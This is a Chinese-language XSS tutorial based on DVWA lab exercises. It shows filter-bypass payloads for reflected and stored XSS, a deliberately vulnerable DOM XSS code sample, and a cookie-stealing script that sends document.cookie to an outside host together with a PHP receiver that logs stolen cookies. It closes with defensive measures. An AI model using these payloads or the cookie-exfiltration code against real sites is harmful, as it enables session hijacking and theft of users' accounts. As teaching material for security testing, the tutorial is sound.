在pre标签中
先用<script>alert("xss")</script> 测试 在低级别下测试成功,分析一下这个xss源代码 在这里是没有作任何过滤的。 接下来在中级别下进行测试,一样的输入<script>alert("xss")</script> 猜想这里可能存在过滤script的语句,那么构造一个 <scr<script>ipt>alert("xss222")</scr<script>ipt> 测试成功,接下来分析下代码 发现使用了一个php中的str_replace函数,对name传入的值进行<script>匹配然后替换成空格 也就是' ' 接下来对高级别的进行测试 输入 <scr<script>ipt> alert("xss222")</scr <script> ipt>测试 发现只剩下> 这里猜测可能跟script有关的内容全被过滤掉了 这个时候不能使用script,所以我们尝试闭合pre直接用img <img src=111 οnerrοr=alert("xss333")> 输入 11</pre><img src=111 οnerrοr=alert("xss333")><pre>111 测试 测试成功,下面继续分析代码 这里发现 执行了一个正则的搜搜,一旦匹配,则干掉。 接下来是dom型XSS 首先什么是DOM? DOM是W3C的标准,可以把DOM认为是页面上数据和结构的一个树形表示: 通过 JavaScript,可以重构整个 HTML 文 档。您可以添加、移除、改变或重排页面 上的项目。 要改变页面的某个东西,JavaScript 就需 要获得对 HTML 文档中所有元素进行访问 的入口。这个入口,连同对 HTML 元素进 行添加、移动、改变或移除的方法和属性, 都是通过文档对象模型来获得的(DOM)。 所以,你可以把DOM理解为一个一个访问 HTML的标准编程接口。 Dom访问演示:使用getElementById来访问和修改html <!DOCTYPE html> <html> <body> <p id="intro">Hello World!</p> <p>本例演示 <b>getElementById</b> 方法!</p> <script> x=document.getElementById("intro"); document.write("<p>来自 intro 段落的文本:" + x.innerHTML + "</p>"); </script> </body> </html> Hello World! 本例演示 getElementById 方法! 来自 intro 段落的文本:Hello World! 下面是演示代码 DOM XSS漏洞代码: <html> <body> <script> function xsstest(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='+str+'>testlink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" value="write" οnclick="xsstest()"> </body> </html> 存储型XSS ,现在用dvwa进行测试,先使用低级别 过滤方面来说其实跟反射性的差不多,只是这个存储型是长期存在的(不被管理员发现) 先上图 发现 name行限制输入10个字,message行不限制,猜想name行限制10个字符是通过前端 实现,那么这个时候直接打开查看元素功能修改限制实现绕过。 修改成1000,确保足够位置输入 在name行输入<script>alert('xss1')</script>测试 message任意输入 成功执行。这样代码保留在后代,如果用户访问到这里,或者用户点击这类链接,那么就中招了。 下面分析下代码 这里发现对message执行了一个stripslasnes函数,就是对 ‘/’进行清除,阻止恶意代码。 下面对中级别进行测试, 一样的用刚刚代码试试 发现失败了, <script>可能被清楚了,接下要接着 <scr<script>ipt> alert("xss3")</scr <script> ipt>测试 测试成功,分析下代码把。 对message 进行了严格过滤,输入进来的执行 strip_tags函数,意思把输入进来的html标签剥去 对输出的message执行htmlspecialchars函数,意思是把html函数当作字符串输出 所以这里不对message进行xss , name的话支队script标签进行一个替换,所以可以用来xss 下面对高级别进行测试 用刚刚的代码测试会发现全被过滤了,可能是跟script有关的代码全被过滤了,因为在div标签不用闭合 直接尝试<img src=111 οnerrοr=alert("xss333")> 测试成功,下面分下下代码。 跟上面一样,只对script有关的进行过滤,所以还是可以进行xss。 通过XSS获取COOKIE-获取 接受端: <?php $cookie = $_GET['cookie']; //以GET方式获取cookie变量值 $time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间 $referer=getenv('HTTP_REFERER'); //获取referer $cookietxt = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它 fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer); //写入文件 fclose($cookietxt); //关闭文件 ?> 脚本端: <script>document.write('<img src=" http://192.168.0.8/xss/index.php?cookie='+document.cookie+'" ; width=0 height=0 border=0 />');</script> XSS防范措施 1.对前端输入做过滤和编码; ---比如之允许输入指定类型的字符,比如电话号格式,注册用户名限制等等,输入检查需要在服 务器端完成,在前端完成的限制是容易被绕过的; ---对特殊字符进行过滤和转义; 2.对输出做过滤和编码:在变量值输出到前端的HTML时进行编码或转义; 3. 给关键的cookie使用http-only;